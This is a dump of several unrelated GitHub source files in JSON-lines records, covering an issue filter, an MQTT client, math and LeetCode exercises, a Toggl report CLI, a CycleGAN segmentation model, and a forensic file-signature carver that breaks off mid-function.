filter_target_date,\n \"completed_at\": filter_completed_at,\n \"type\": filter_issue_state_type,\n \"project\": filter_project,\n \"cycle\": filter_cycle,\n \"module\": filter_module,\n \"inbox_status\": filter_inbox_status,\n \"sub_issue\": filter_sub_issue_toggle,\n \"subscriber\": filter_subscribed_issues,\n \"start_target_date\": filter_start_target_date_issues,\n }\n\n for key, value in ISSUE_FILTER.items():\n if key in query_params:\n func = value\n func(query_params, filter, method)\n\n return filter\n","repo_name":"makeplane/plane","sub_path":"apiserver/plane/utils/issue_filters.py","file_name":"issue_filters.py","file_ext":"py","file_size_in_byte":12295,"program_lang":"python","lang":"en","doc_type":"code","stars":18357,"dataset":"github-code","pt":"32"} +{"seq_id":"38350138929","text":"import paho.mqtt.client as mqtt\nimport time\ntry:\n broker=\"192.168.2.45\"\n sub_list = [\"info\", \"other\"]\n #define callback\n def on_message(client, userdata, message):\n time.sleep(1)\n print(\"received message =\",str(message.payload.decode(\"utf-8\")))\n\n client= mqtt.Client(\"client-001\") #create client object client1.on_publish = on_publish #assign function to callback client1.connect(broker,port) #establish connection client1.publish(\"house/bulb1\",\"on\")\n ######Bind function to callback\n\n client.on_message=on_message\n #####\n print(\"connecting to broker \",broker)\n client.connect(broker)#connect\n client.loop_start() #start loop to process received messages\n print(\"subscribing \")\n client.subscribe(sub_list[1])#subscribe\n time.sleep(2)\n print(\"publishing \")\n for i in range(5,10):\n if i == 9:\n client.publish(sub_list[0], \"quit\")\n if i%2==0:\n client.publish(sub_list[0],\"temp\")#publish\n else:\n client.publish(sub_list[0], \"light\")\n time.sleep(5)\n time.sleep(10)\n\nfinally:\n client.disconnect() #disconnect\n print(\"ending\")\n client.loop_stop() #stop loop\n","repo_name":"will-sloan/mqtt_comp","sub_path":"mqtt_script.py","file_name":"mqtt_script.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5930468840","text":"from time import time\nfrom itertools import product\nfrom sys import argv\nimport pp\n\n\ndef compute_probability(n):\n ppservers = ()\n job_server = pp.Server(ppservers=ppservers)\n core_count = job_server.get_ncpus()\n\n # generate all possible vector A\n # and divide them to the cores\n visited = set()\n todo = [dict() for _ in range(core_count)]\n core_index = 0\n for A in product((0, 1), repeat=n):\n if A not in visited:\n # generate all vectors, which have the same probability\n # mirrored and cycled vectors\n same_probability_set = set()\n for i in range(n):\n tmp = [A[(i+j) % n] for j in range(n)]\n same_probability_set.add(tuple(tmp))\n same_probability_set.add(tuple(tmp[::-1]))\n visited.update(same_probability_set)\n todo[core_index % core_count][A] = len(same_probability_set)\n core_index += 1\n\n # start threads on each core, wait and combine results\n count = [0] * n\n jobs = [job_server.submit(core_computation, (todo_on_core, n), (), ())\n for todo_on_core in todo]\n for job in jobs:\n count2 = job()\n for i in range(1, n):\n count[i] += count2[i]\n\n count[0] = oeis_A081671(n)\n\n return count\n\n\ndef oeis_A081671(n):\n if n == 0:\n return 1\n a, b = 1, 4\n for i in range(2, n+1):\n a, b = b, (4*(2*i-1)*b - 12*(i-1)*a) / i\n return b\n\n\ndef core_computation(dict_A, n):\n count = [0] * n\n\n # for each vector A, create all possible vectors B\n stack = []\n for A, cycled_count in dict_A.iteritems():\n ones = [sum(A[i:]) for i in range(n)] + [0]\n # + [0], so that later ones[n] doesn't throw a exception\n stack.append(([0] * n, 0, 0, 0, False))\n\n while stack:\n B, index, sum1, sum2, used_negative = stack.pop()\n if index < n:\n # fill vector B[index] in all possible ways,\n # so that it's still possible to reach 0.\n if used_negative:\n for v in (-1, 0, 1):\n sum1_new = sum1 + v * A[index]\n sum2_new = sum2 + v * A[index - 1 if index else n - 1]\n if abs(sum1_new) <= ones[index+1]:\n if abs(sum2_new) <= ones[index] - A[n-1]:\n C = B[:]\n C[index] = v\n stack.append((C, index + 1, sum1_new, sum2_new, True))\n else:\n for v in (0, 1):\n sum1_new = sum1 + v * A[index]\n sum2_new = sum2 + v * A[index - 1 if index else n - 1]\n if abs(sum1_new) <= ones[index+1]:\n if abs(sum2_new) <= ones[index] - A[n-1]:\n C = B[:]\n C[index] = v\n stack.append((C, index + 1, sum1_new, sum2_new, v == 1))\n else:\n # B is complete, calculate the sums\n if used_negative:\n count[1] += 2*cycled_count\n else:\n count[1] += cycled_count # we know that the sum = 0 for i = 1\n for i in range(2, n):\n sum_prod = 0\n for j in range(n-i):\n sum_prod += A[j] * B[i+j]\n for j in range(i):\n sum_prod += A[n-i+j] * B[j]\n if sum_prod:\n break\n else:\n if used_negative:\n count[i] += 2*cycled_count\n else:\n count[i] += cycled_count\n return count\n\n\nif __name__ == \"__main__\":\n n = int(argv[1]) if len(argv) > 1 else 11\n\n start_time = time()\n count = compute_probability(n)\n end_time = time()\n duration = int(round(end_time - start_time))\n\n print(\"Calculation for n = {} took {}:{:02d} minutes\\n\"\n .format(n, duration // 60, duration % 60))\n\n l = lambda x: str(len(str(x)))\n for i in range(n):\n print(\"{0:{1}d} {2:{3}d} / {4} {5:6.2%}\"\n .format(i+1, l(n), count[i], l(count[0]),\n 6**n, float(count[i])/6**n))\n","repo_name":"jakobkogler/you-do-the-math","sub_path":"you-do-the-math.py","file_name":"you-do-the-math.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"39274490353","text":"# 완전탐색\n\ndef solution(answers):\n\tanswer = [1,2,3]\n\tstudents = []\n\tstudents.append([1,2,3,4,5])\n\tstudents.append([2,1,2,3,2,4,2,5])\n\tstudents.append([3,3,1,1,2,2,4,4,5,5])\n\toutput = []\n\tfor st in range(len(students)):\n\t\tnum = 0\n\t\tst_len = len(students[st])\n\t\tfor i in range(len(answers)):\n\t\t\tif answers[i] == students[st][i % st_len]:\n\t\t\t\tnum += 1\n\t\tstudents[st] = num\n\ta = max(students)\n\tfor i in range(3):\n\t\tif students[i] == a:\n\t\t\toutput.append(answer[i])\n\treturn output","repo_name":"altmshfkgudtjr/Problem-Solving","sub_path":"Programmers/level 1/모의고사.py","file_name":"모의고사.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36383122160","text":"from typing import List\n\ndef wordSubsets(words1: List[str], words2: List[str]):\n \n from collections import defaultdict\n all_chars = defaultdict(int)\n for w in words2:\n dw = defaultdict(int)\n for c in w:\n dw[c] += 1\n for c in dw:\n all_chars[c] = max(all_chars[c], dw[c])\n \n \n res = []\n for word in words1:\n dw = defaultdict(int)\n for c in word:\n dw[c] += 1\n \n inflag = True\n for c in all_chars:\n if dw[c] < all_chars[c]:\n inflag = False\n break\n if inflag:\n res.append(word)\n \n return res\n \n \nwords1 = [\"amazon\",\"apple\",\"facebook\",\"google\",\"leetcode\"]\nwords2 = [\"e\",\"o\"]\n\nwords1 = [\"amazon\",\"apple\",\"facebook\",\"google\",\"leetcode\"]\nwords2= [\"e\",\"oo\"]\nprint(wordSubsets(words1, words2))\n ","repo_name":"tanhm12/Code-Workout","sub_path":"Leetcode/916.py","file_name":"916.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16678509100","text":"#!/usr/bin/env python3.8\n\nimport argparse\nfrom toggle_report_to_gulp.report import Report\nimport locale\n\nlocale.setlocale(locale.LC_ALL, 'de_DE')\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Creates report for GULP according to Toggl notes.')\n parser.add_argument('--workspace', help='Workspace name', required=True)\n parser.add_argument('--api-key', help='Api key name, can be found here: https://toggl.com/app/profile',\n required=True)\n parser.add_argument('--month-number',\n help='Month number, from 1 to 12',\n required=True,\n type=int\n )\n parser.add_argument('--year',\n help='Year',\n required=True,\n type=int\n )\n parser.add_argument('--name', help='You first and last name. Will be used in header', required=True, type=str)\n parser.add_argument('--project-number', help='Project number (PEV). Will be used in header', required=True,\n type=str)\n parser.add_argument('--client-name', help='Client name. Will be used in header', required=True, type=str)\n parser.add_argument('--order-no', help='Order no (Bestellnummer). Will be used in header', required=True, type=str)\n parser.add_argument('--write',\n help='Write to file or to the output',\n choices=['true', 'false'],\n default='true'\n )\n args = parser.parse_args()\n\n report = Report(args.api_key, args.name, args.project_number, args.client_name, args.order_no)\n document_name = report.detailed(args.workspace, args.year, args.month_number, args.write == 'true')\n\n print(f\"Finished! Report store in {document_name}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alexzelenuyk/toggl-report-to-gulp","sub_path":"cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"120857013","text":"import numpy as np\nimport torch\nimport os\nfrom collections import OrderedDict\nfrom torch.autograd import Variable\nimport itertools\nimport util.util as util\nfrom util.image_pool import ImagePool\nfrom .base_model import BaseModel\nfrom . import networks\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport sys\nimport skimage\n\ndef CrossEntropyLoss2d(inputs, targets, weight=None, size_average=True):\n lossval = 0\n nll_loss = nn.NLLLoss2d(weight, size_average)\n for output, label in zip(inputs, targets):\n lossval += nll_loss(F.log_softmax(output), label)\n return lossval\n\ndef CrossEntropy2d(input, target, weight=None, size_average=False):\n # input:(n, c, h, w) target:(n, h, w)\n n, c, h, w = input.size()\n\n input = input.transpose(1, 2).transpose(2, 3).contiguous()\n input = input[target.view(n, h, w, 1).repeat(1, 1, 1, c) >= 0].view(-1, c)\n\n target_mask = target >= 0\n target = target[target_mask]\n #loss = F.nll_loss(F.log_softmax(input), target, weight=weight, size_average=False)\n loss = F.cross_entropy(input, target, weight=weight, size_average=False)\n if size_average:\n loss /= target_mask.sum().data[0]\n\n return loss\n#\ndef cross_entropy2d(input, target, weight=None, size_average=True):\n # input: (n, c, h, w), target: (n, h, w)\n n, c, h, w = input.size()\n # log_p: (n, c, h, w)\n log_p = F.log_softmax(input)\n # log_p: (n*h*w, c)\n log_p = log_p.transpose(1, 2).transpose(2, 3).contiguous().view(-1, c)\n log_p = log_p[target.view(n, h, w, 1).repeat(1, 1, 1, c) >= 0]\n log_p = log_p.view(-1, c)\n # target: (n*h*w,)\n mask = target >= 0\n target = target[mask]\n loss = F.nll_loss(log_p, target, weight=weight, size_average=False)\n if size_average:\n loss /= mask.data.sum()\n return loss\n\ndef dice_loss_norm(input, target):\n \"\"\"\n input is a torch variable of size BatchxnclassesxHxW representing log probabilities for each class\n target is a 1-hot representation of the groundtruth, shoud have same size as the input\n \"\"\"\n assert input.size() == target.size(), \"Input sizes must be equal.\"\n assert input.dim() == 4, \"Input must be a 4D Tensor.\"\n # uniques = np.unique(target.numpy())\n # assert set(list(uniques)) <= set([0, 1]), \"target must only contain zeros and ones\"\n\n probs = F.softmax(input)\n num = probs * target # b,c,h,w--p*g\n num = torch.sum(num, dim=3)\n num = torch.sum(num, dim=2) #\n num = torch.sum(num, dim=0)# b,c\n\n den1 = probs * probs # --p^2\n den1 = torch.sum(den1, dim=3)\n den1 = torch.sum(den1, dim=2) # b,c,1,1\n den1 = torch.sum(den1, dim=0)\n\n den2 = target * target # --g^2\n den2 = torch.sum(den2, dim=3)\n den2 = torch.sum(den2, dim=2) # b,c,1,1\n den2 = torch.sum(den2, dim=0)\n\n dice = 2 * ((num+0.0000001) / (den1 + den2+0.0000001))\n dice_eso = dice[1:] # we ignore bg dice val, and take the fg\n dice_total = -1 * torch.sum(dice_eso) / dice_eso.size(0) # divide by batch_sz\n return dice_total\n\n\nclass CycleSEGModel(BaseModel):\n def name(self):\n return 'CycleSEGModel'\n\n def initialize(self, opt):\n BaseModel.initialize(self, opt)\n\n nb = opt.batchSize\n size = opt.fineSize\n self.input_A = self.Tensor(nb, opt.input_nc, size, size)\n self.input_B = self.Tensor(nb, opt.output_nc, size, size)\n self.input_Seg = self.Tensor(nb, opt.output_nc_seg, size, size)\n\n if opt.seg_norm == 'CrossEntropy':\n self.input_Seg_one = self.Tensor(nb, opt.output_nc, size, size)\n\n # load/define networks\n # The naming conversion is different from those used in the paper\n # Code (paper): G_A (G), G_B (F), D_A (D_Y), D_B (D_X)\n\n self.netG_A = networks.define_G(opt.input_nc, opt.output_nc,\n opt.ngf, opt.which_model_netG, opt.norm, not opt.no_dropout, self.gpu_ids)\n self.netG_B = networks.define_G(opt.output_nc, opt.input_nc,\n opt.ngf, opt.which_model_netG, opt.norm, not opt.no_dropout, self.gpu_ids)\n\n self.netG_seg = networks.define_G(opt.input_nc_seg, opt.output_nc_seg,\n opt.ngf, opt.which_model_netSeg, opt.norm, not opt.no_dropout, self.gpu_ids)\n\n if self.isTrain:\n use_sigmoid = opt.no_lsgan\n self.netD_A = networks.define_D(opt.output_nc, opt.ndf,\n opt.which_model_netD,\n opt.n_layers_D, opt.norm, use_sigmoid, self.gpu_ids)\n self.netD_B = networks.define_D(opt.input_nc, opt.ndf,\n opt.which_model_netD,\n opt.n_layers_D, opt.norm, use_sigmoid, self.gpu_ids)\n if not self.isTrain or opt.continue_train:\n which_epoch = opt.which_epoch\n self.load_network(self.netG_A, 'G_A', which_epoch)\n self.load_network(self.netG_B, 'G_B', which_epoch)\n if self.isTrain:\n self.load_network(self.netD_A, 'D_A', which_epoch)\n self.load_network(self.netD_B, 'D_B', which_epoch)\n self.load_network(self.netG_seg, 'Seg_A', which_epoch)\n\n if self.isTrain:\n self.old_lr = opt.lr\n self.fake_A_pool = ImagePool(opt.pool_size)\n self.fake_B_pool = ImagePool(opt.pool_size)\n # define loss functions\n self.criterionGAN = networks.GANLoss(use_lsgan=not opt.no_lsgan, tensor=self.Tensor)\n self.criterionCycle = torch.nn.L1Loss()\n self.criterionIdt = torch.nn.L1Loss()\n # initialize optimizers\n self.optimizer_G = torch.optim.Adam(itertools.chain(self.netG_A.parameters(), self.netG_seg.parameters(), self.netG_B.parameters()),\n lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizer_D_A = torch.optim.Adam(self.netD_A.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizer_D_B = torch.optim.Adam(self.netD_B.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n\n print('---------- Networks initialized -------------')\n networks.print_network(self.netG_A)\n networks.print_network(self.netG_B)\n if self.isTrain:\n networks.print_network(self.netD_A)\n networks.print_network(self.netD_B)\n print('-----------------------------------------------')\n\n def set_input(self, input):\n AtoB = self.opt.which_direction == 'AtoB'\n input_A = input['A' if AtoB else 'B']\n input_B = input['B' if AtoB else 'A']\n input_Seg = input['Seg']\n self.input_A.resize_(input_A.size()).copy_(input_A)\n self.input_B.resize_(input_B.size()).copy_(input_B)\n self.input_Seg.resize_(input_Seg.size()).copy_(input_Seg)\n self.image_paths = input['A_paths' if AtoB else 'B_paths']\n if self.opt.seg_norm == 'CrossEntropy':\n input_Seg_one = input['Seg_one']\n self.input_Seg_one.resize_(input_Seg_one.size()).copy_(input_Seg_one)\n\n\n def forward(self):\n self.real_A = Variable(self.input_A)\n self.real_B = Variable(self.input_B)\n self.real_Seg = Variable(self.input_Seg)\n if self.opt.seg_norm == 'CrossEntropy':\n self.real_Seg_one = Variable(self.input_Seg_one.long())\n\n def test(self):\n self.real_A = Variable(self.input_A, volatile=True)\n self.fake_B = self.netG_A.forward(self.real_A)\n self.rec_A = self.netG_B.forward(self.fake_B)\n\n self.real_B = Variable(self.input_B, volatile=True)\n self.fake_A = self.netG_B.forward(self.real_B)\n self.rec_B = self.netG_A.forward(self.fake_A)\n\n # get image paths\n def get_image_paths(self):\n return self.image_paths\n\n def backward_D_basic(self, netD, real, fake):\n # Real\n pred_real = netD.forward(real)\n loss_D_real = self.criterionGAN(pred_real, True)\n # Fake\n pred_fake = netD.forward(fake.detach())\n loss_D_fake = self.criterionGAN(pred_fake, False)\n # Combined loss\n loss_D = (loss_D_real + loss_D_fake) * 0.5\n # backward\n loss_D.backward()\n return loss_D\n\n def backward_D_A(self):\n fake_B = self.fake_B_pool.query(self.fake_B)\n self.loss_D_A = self.backward_D_basic(self.netD_A, self.real_B, fake_B)\n\n def backward_D_B(self):\n fake_A = self.fake_A_pool.query(self.fake_A)\n self.loss_D_B = self.backward_D_basic(self.netD_B, self.real_A, fake_A)\n\n def backward_G(self):\n lambda_idt = self.opt.identity\n lambda_A = self.opt.lambda_A\n lambda_B = self.opt.lambda_B\n # Identity loss\n if lambda_idt > 0:\n # G_A should be identity if real_B is fed.\n self.idt_A = self.netG_A.forward(self.real_B)\n self.loss_idt_A = self.criterionIdt(self.idt_A, self.real_B) * lambda_B * lambda_idt\n # G_B should be identity if real_A is fed.\n self.idt_B = self.netG_B.forward(self.real_A)\n self.loss_idt_B = self.criterionIdt(self.idt_B, self.real_A) * lambda_A * lambda_idt\n else:\n self.loss_idt_A = 0\n self.loss_idt_B = 0\n\n # GAN loss\n # D_A(G_A(A))\n self.fake_B = self.netG_A.forward(self.real_A)\n pred_fake = self.netD_A.forward(self.fake_B)\n self.loss_G_A = self.criterionGAN(pred_fake, True)\n # D_B(G_B(B))\n self.fake_A = self.netG_B.forward(self.real_B)\n pred_fake = self.netD_B.forward(self.fake_A)\n self.loss_G_B = self.criterionGAN(pred_fake, True)\n # Forward cycle loss\n self.rec_A = self.netG_B.forward(self.fake_B)\n self.loss_cycle_A = self.criterionCycle(self.rec_A, self.real_A) * lambda_A\n # Backward cycle loss\n self.rec_B = self.netG_A.forward(self.fake_A)\n self.loss_cycle_B = self.criterionCycle(self.rec_B, self.real_B) * lambda_B\n # Segmentation loss\n self.seg_fake_B = self.netG_seg.forward(self.fake_B)\n if self.opt.seg_norm == 'DiceNorm':\n self.loss_seg = dice_loss_norm(self.seg_fake_B, self.real_Seg)\n self.loss_seg = self.loss_seg\n elif self.opt.seg_norm == 'CrossEntropy':\n arr = np.array(self.opt.crossentropy_weight)\n weight = torch.from_numpy(arr).cuda().float()\n self.loss_seg = cross_entropy2d(self.seg_fake_B, self.real_Seg_one, weight=weight)\n\n # combined loss\n self.loss_G = self.loss_G_A + self.loss_G_B + self.loss_cycle_A + self.loss_cycle_B + self.loss_idt_A + self.loss_idt_B + self.loss_seg\n self.loss_G.backward()\n\n def optimize_parameters(self):\n # forward\n self.forward()\n\n\n\n\n\n # real_root_dir = '/home-local/Cycle_Deep/test_visulize'\n # for ii in range(len(self.image_paths)):\n # image_path = self.image_paths[ii]\n # real_A_strs = image_path.split('/')\n # real_A_file = real_A_strs[-3] + real_A_strs[-2] + real_A_strs[-1].replace('.png', '') + 'real_A.png'\n # real_B_file = real_A_strs[-3] + real_A_strs[-2] + real_A_strs[-1].replace('.png', '') + 'real_B.png'\n # read_A_img = self.real_A.cpu().data[ii,0,:,:].numpy()\n # read_A_img =((read_A_img-read_A_img.min())/(read_A_img.max()-read_A_img.min())*255).astype(int)\n # read_B_img = self.real_B.cpu().data[ii,0,:,:].numpy()\n # read_B_img =((read_B_img-read_B_img.min())/(read_B_img.max()-read_B_img.min())*255).astype(int)\n # skimage.io.imsave(os.path.join(real_root_dir,real_A_file), read_A_img)\n # skimage.io.imsave(os.path.join(real_root_dir,real_B_file), read_B_img)\n\n # G_A and G_B\n self.optimizer_G.zero_grad()\n self.backward_G()\n self.optimizer_G.step()\n # D_A\n self.optimizer_D_A.zero_grad()\n self.backward_D_A()\n self.optimizer_D_A.step()\n # D_B\n self.optimizer_D_B.zero_grad()\n self.backward_D_B()\n self.optimizer_D_B.step()\n\n def get_current_errors(self):\n D_A = self.loss_D_A.data[0]\n G_A = self.loss_G_A.data[0]\n Cyc_A = self.loss_cycle_A.data[0]\n D_B = self.loss_D_B.data[0]\n G_B = self.loss_G_B.data[0]\n Cyc_B = self.loss_cycle_B.data[0]\n Seg_B = self.loss_seg.data[0]\n if self.opt.identity > 0.0:\n idt_A = self.loss_idt_A.data[0]\n idt_B = self.loss_idt_B.data[0]\n return OrderedDict([('D_A', D_A), ('G_A', G_A), ('Cyc_A', Cyc_A), ('idt_A', idt_A),\n ('D_B', D_B), ('G_B', G_B), ('Cyc_B', Cyc_B), ('idt_B', idt_B)])\n else:\n return OrderedDict([('D_A', D_A), ('G_A', G_A), ('Cyc_A', Cyc_A),\n ('D_B', D_B), ('G_B', G_B), ('Cyc_B', Cyc_B),\n ('Seg', Seg_B)])\n\n def get_current_visuals(self):\n real_A = util.tensor2im(self.real_A.data)\n fake_B = util.tensor2im(self.fake_B.data)\n seg_B = util.tensor2seg(torch.max(self.seg_fake_B.data,dim=1,keepdim=True)[1])\n manual_B = util.tensor2seg(torch.max(self.real_Seg.data,dim=1,keepdim=True)[1])\n rec_A = util.tensor2im(self.rec_A.data)\n real_B = util.tensor2im(self.real_B.data)\n fake_A = util.tensor2im(self.fake_A.data)\n rec_B = util.tensor2im(self.rec_B.data)\n if self.opt.identity > 0.0:\n idt_A = util.tensor2im(self.idt_A.data)\n idt_B = util.tensor2im(self.idt_B.data)\n return OrderedDict([('real_A', real_A), ('fake_B', fake_B), ('rec_A', rec_A), ('idt_B', idt_B),\n ('real_B', real_B), ('fake_A', fake_A), ('rec_B', rec_B), ('idt_A', idt_A)])\n else:\n return OrderedDict([('real_A', real_A), ('fake_B', fake_B), ('rec_A', rec_A), ('seg_B',seg_B), ('manual_B',manual_B),\n ('real_B', real_B), ('fake_A', fake_A), ('rec_B', rec_B)])\n\n def save(self, label):\n self.save_network(self.netG_A, 'G_A', label, self.gpu_ids)\n self.save_network(self.netD_A, 'D_A', label, self.gpu_ids)\n self.save_network(self.netG_B, 'G_B', label, self.gpu_ids)\n self.save_network(self.netD_B, 'D_B', label, self.gpu_ids)\n self.save_network(self.netG_seg, 'Seg_A', label, self.gpu_ids)\n\n def update_learning_rate(self):\n lrd = self.opt.lr / self.opt.niter_decay\n lr = self.old_lr - lrd\n for param_group in self.optimizer_D_A.param_groups:\n param_group['lr'] = lr\n for param_group in self.optimizer_D_B.param_groups:\n param_group['lr'] = lr\n for param_group in self.optimizer_G.param_groups:\n param_group['lr'] = lr\n\n print('update learning rate: %f -> %f' % (self.old_lr, lr))\n self.old_lr = lr\n","repo_name":"MASILab/SynSeg-Net","sub_path":"models/cycle_seg_model.py","file_name":"cycle_seg_model.py","file_ext":"py","file_size_in_byte":14941,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"32"} +{"seq_id":"17009010474","text":"#!/usr/bin/env python\n\ndef main():\n fact()\n table()\n \ndef table():\n '''Draw tabular student data'''\n \n #determine if the program should autodetect terminal width\n useExternalCode = askExternalCode()\n debug = False\n \n #define the data table\n Student = { \"John\" : { \"join_date\" : \"05/03/2011\", \"Percent\" : 80.055}, \"Don\" : { \"join_date\" : \"05/10/2011\", \"Percent\" : 75.06777}, \"Smith\" : { \"join_date\" : \"04/04/2011\", \"Percent\" : 85.8005}}\n \n #Student = { \"John\" : { \"join_date\" : \"05/03/2011\", \"Percent\" : 80.055, \"hottness\":\"low\",\"confidence\":\"low\"}, \"Don\" : { \"join_date\" : \"05/10/2011\", \"Percent\" : 75.06777 , \"hottness\":\"low\",\"confidence\":\"high\"}, \"Smith\" : { \"join_date\" : \"04/04/2011\", \"Percent\" : 85.8005, \"hottness\":\"high\",\"confidence\":\"moderate\" }}\n \n #convert the integers to percentage strings\n fixIntegers(Student)\n \n #create a set to store the various student data headers\n headerset = set([])\n \n #step through the data table, discover the headers, and put them in the set\n for namedata in Student.values():\n for eachitem in namedata.keys():\n headerset.add(eachitem)\n \n #add the word \"student\" to the list of headers\n headers = [\"Student\"]\n if debug: print(\"Headers before extend: %s\" % headers)\n \n #extend the rest of the headers into the list\n headers.extend( list(headerset) )\n if debug: print(\"Headers after extend: %s\" % headers)\n \n #discover the terminal width\n width = getTerminalWidth(useExternalCode)\n if debug: print(\"Current Terminal Width: %d\" % width)\n \n #discover the amount of columns needed\n columnsNeeded = len(headers)\n if debug: print(\"Columns needed: %d\" % columnsNeeded)\n \n #calculate max allowable width of any one column\n import math\n maxColumnWidth = math.floor( width / columnsNeeded)\n if debug: print(\"Max column width: %d\" % maxColumnWidth)\n \n #print top dotted line\n dottedLine = '-' * width\n print(dottedLine)\n \n #create header row\n if debug: print(headers)\n outputRow = \"|\".join( \"{k:^{maxColumnWidth}}\".format(k=k,maxColumnWidth=maxColumnWidth) for k in headers )\n \n #add leading and trailing pipe characters\n outputRow = addPipes(outputRow)\n \n #output header\n print(outputRow)\n \n #create empty header row\n emptyHeaders = [\"\"]*columnsNeeded\n if debug: print(emptyHeaders)\n outputRow = \"|\".join( \"{k:^{maxColumnWidth}}\".format(k=k,maxColumnWidth=maxColumnWidth) for k in emptyHeaders )\n \n #output empty header row and separator\n print( addPipes(outputRow) )\n print(dottedLine)\n \n #step through the data table, build the output string for each student, and output it\n \n for name,namedata in Student.items():\n #get the student name\n outputRow = \"{name:^{maxColumnWidth}}\".format(name=name,maxColumnWidth=maxColumnWidth)\n if debug: print(\"Name output: %s \\nName Data: %s\" % (outputRow, namedata))\n \n #get the rest of the student data\n outputData = \"|\".join( \"{k:^{maxColumnWidth}}\".format(k=namedata[eachHeader],maxColumnWidth=maxColumnWidth) for eachHeader in headerset )\n \n if debug: print(\"Output Data String: %s\" % outputData)\n \n #combine the two items and add a pipe separator\n outputRow = outputRow + \"|\" + outputData\n \n if debug: print(\"Pre-Pipe output row: %s\" % outputRow)\n \n #add the borders and print\n print( addPipes(outputRow) )\n \n #finally, draw another dotted line separator\n print(dottedLine)\n\ndef addPipes(datastring):\n '''Add bordering pipe characters to a line'''\n newData = list(datastring)\n newData[0] = \"|\"\n newData[-1] = \"|\"\n return \"\".join(newData)\n\ndef fixIntegers(Student):\n '''Round floating point numbers and add % symbol'''\n import decimal\n for name, namedata in Student.items():\n for k,v in namedata.items():\n if type(v) == float:\n namedata[k] = str(decimal.Decimal.from_float(v).quantize(decimal.Decimal('.01'), rounding=\"ROUND_DOWN\") ) + \"%\"\n return Student\n\ndef fact():\n '''Calculate factorial of a given number'''\n import math\n \n #get n, make sure it is a number\n try:\n n = float( input(\"Value of n: \") )\n except ValueError:\n print(\"Error: n must be a number!\")\n return\n \n #figure out the factorial using builtins\n mathFact = math.factorial(n)\n \n #figure out the factorial manually\n calcFact = math.sqrt(2 * math.pi * n) * math.pow((n / math.e),n)\n \n #output\n print(\"Approx Factorial: %d \\nCorrect Factorial: %d\" % (calcFact,mathFact) )\n\ndef askExternalCode():\n shouldUseExternalCode = input(\"Autodetect Terminal Width? (y/N): \")\n try:\n if shouldUseExternalCode.lower() == 'y':\n return True\n except:\n pass\n return False\n\ndef getTerminalWidth(useExternalCode):\n '''Discover the current width of the terminal window'''\n if useExternalCode:\n from getTerminalSize import getTerminalSize\n width = getTerminalSize()[0] - 2\n return width\n else:\n #use default value\n return 70\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"Steve-V/python_homework","sub_path":"assignment1/debugging.py","file_name":"debugging.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74135933850","text":"#part of Project2 for Digital Forensics Course\nimport pathlib\nimport argparse\nimport math\n\nHEX_CHARS = \"0123456789ABCDEF\"\ntest = b\"\\x50\\x4B\\x03\\x04\\x14\\x00\\x06\\x00\"\nsignature_headers = {\"MPEG Video File\": \"00 00 01 Bx\",\n \"DVD Video Movie File\": \"00 00 01 BA\",\n \"MPG\":\"FF F*\",\n \"PDF\":\"25 50 44 46\",\n \"BMP\":\"\",\n \"GIF\":\"47 49 46 38 3* 61\",\n \"ZIP\":\"50 4B 03 04\",\n \"JPG\":\"FF D8 FF E*\",\n \"DOCX\":\"50 4B 03 04 14 00 06 00\",\n \"AVI\":\"\",\n \"PNG\":\"89 50 4E 47 0D 0A 1A 0A\",\n \"EXE\":\"4D 5A\"\n} # need to figure out about wildcards - may have to do string representations as opposed to actual bytes\nsigature_trailers = { \n \"JPG\":\"FF D9\",\n}\n\n\n#gets the string representation of a byte or set of bytes\ndef convert_byte_to_str(b):\n byte_str = \"\"\n for by in b:\n byte_str += hex(by)[2:].zfill(2)\n return byte_str\n\n#returns the sector of a given byte offset\ndef find_sector_of_byte_offset(offset):\n return math.ceil(offset/512)\n\n\n#converts a set of bytes (little endian) to their integer equivalent \ndef convert_bytes_to_int(bs):\n byte_str_to_convert = \"\"\n for b in bs:\n byte_str_to_convert = convert_byte_to_str(b) + byte_str_to_convert\n return int(byte_str_to_convert, 16)\n\n# is_in_signature\n# \n# Description:\n# checks if a given byte string is in a file signature\n# Returns:\n# returns 0 if it is not in the file signature, \n# returns 1 if the byte string is in the file signature\n# returns 2 if the byte string is the file signature\ndef is_in_signature(byte_str):\n for typ, sig in signature_headers.items():\n if sig.startswith(byte_str):\n if sig == byte_str:\n return 2\n return 1\n return 0\n\n#\ndef parse(disk_image):\n print(f\"Parsing {disk_image}\")\n with open(disk_image, 'rb') as f: # if the image exists, start parsing.\n bytes_at_offset = \"\"\n test_bytes = f.read(1)\n start = end = 1\n while (test_bytes != \"\"):\n if bytes_at_offset != \"\":\n bytes_at_offset = bytes_at_offset + \" \" + convert_byte_to_str(test_bytes) \n else:\n bytes_at_offset = convert_byte_to_str(test_bytes)\n end += 1 # increment the counter (offset)\n res = is_in_signature(bytes_at_offset)\n if res == 0: # if the byte is not in the file signature, we set the start to end, and clear the byte string being observed\n start=end\n bytes_at_offset = \"\"\n elif res == 2:\n print(f\"Found file signature at byte offset {start}\")\n print(f\"Sector: {find_sector_of_byte_offset(start)}\")\n print(\"Signature: \", bytes_at_offset)\n start_of_file = True\n test_bytes=f.read(1)\n\n\ndef get_args():\n argparser = argparse.ArgumentParser()\n 